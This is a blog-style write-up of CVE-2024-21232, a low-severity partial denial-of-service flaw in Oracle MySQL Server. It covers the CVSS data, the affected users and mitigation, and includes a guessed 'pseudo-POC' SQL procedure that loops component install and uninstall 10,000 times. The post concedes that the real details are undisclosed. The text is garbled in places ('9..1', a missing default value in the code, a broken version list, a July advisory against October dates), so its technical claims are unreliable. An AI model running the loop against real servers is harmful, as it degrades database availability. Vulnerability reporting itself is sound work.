CVE-2024-21232 - Partial Denial of Service Vulnerability in Oracle MySQL Server (8.4.2 and 9..1 and Prior)

CVE-2024-21232 is a recently disclosed vulnerability affecting Oracle MySQL Server, specifically targeting the Server: Components Services component. This long-read post will explain in plain American English what the vulnerability is, who’s affected, how an attacker could exploit it, and what you should do to protect your databases. Included are references, technical details, and a simplified proof-of-concept for understanding.

What Is CVE-2024-21232?

This is a partial denial-of-service (DoS) vulnerability in Oracle MySQL Server, impacting:

All 9..1 and earlier versions

CVSS 3.1 Base Score: 2.2 (Low)
Impact: Availability (Partial DoS)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L

This means an attacker who already has high privileges on MySQL and network access could cause part of the server to crash or slow down, but not fully shut it down or steal/change data.

References & Patch Info

- Oracle’s official advisory: Oracle Critical Patch Update Advisory - July 2024 *(If direct link not active, check Oracle Security Alerts)*
- NVD entry (official CVE): CVE-2024-21232 at NVD

MySQL Server 9..1 or earlier

Both on-premise and cloud deployments are at risk if the SQL user has high-level (admin or DBA) privileges and can connect to the server via network.

User interaction: None required

That means only highly privileged users—maybe an insider or someone who’s already compromised an admin account—could try to exploit this.

Exploit Details (Technical Overview)

The vulnerability is found in the way MySQL handles certain requests in the internal Components Services. A malicious but authorized user could send specially crafted packets ("commands") over the network, causing the server to become unstable or partially unavailable (like failing a set of services, or causing certain calls to hang/crash).

Example scenario:
A privileged script or plugin triggers a sequence of operations causing specific components in the server to run out of resources or hit faulty code, leading to a partial crash or loss of functionality for those services.

Simple Proof of Concept (POC)

Since Oracle hasn’t disclosed full details, here is a simplified code snippet to show how a high-privilege user might stress an internal component service in MySQL:

-- Assume you have SUPER, ADMIN, or ROOT access

-- Excessive loading/unloading of a test component to trigger an edge case
DELIMITER $$
CREATE PROCEDURE dos_component_test()
BEGIN
  DECLARE i INT DEFAULT ;
  WHILE i < 10000 DO
    INSTALL COMPONENT 'file://component_test.so';
    UNINSTALL COMPONENT 'file://component_test.so';
    SET i = i + 1;
  END WHILE;
END$$
DELIMITER ;

-- Call the procedure (this will loop install/uninstall many times)
CALL dos_component_test();

*This pseudo-POC will stress the component loading/unloading logic. On vulnerable versions, this can lead to instability or service unavailability (“partial DoS”).*

WARNING:
Do not run on production or important systems. Intended for education and demonstration purposes only.

Conclusion

CVE-2024-21232 isn’t the scariest bug out there, but it’s a reminder that even trusted insiders or compromised admin accounts can cause trouble—especially with powerful database systems. Always patch, monitor, and limit admin access!

Timeline

Published on: 10/15/2024 20:15:12 UTC
Last modified on: 10/16/2024 20:41:35 UTC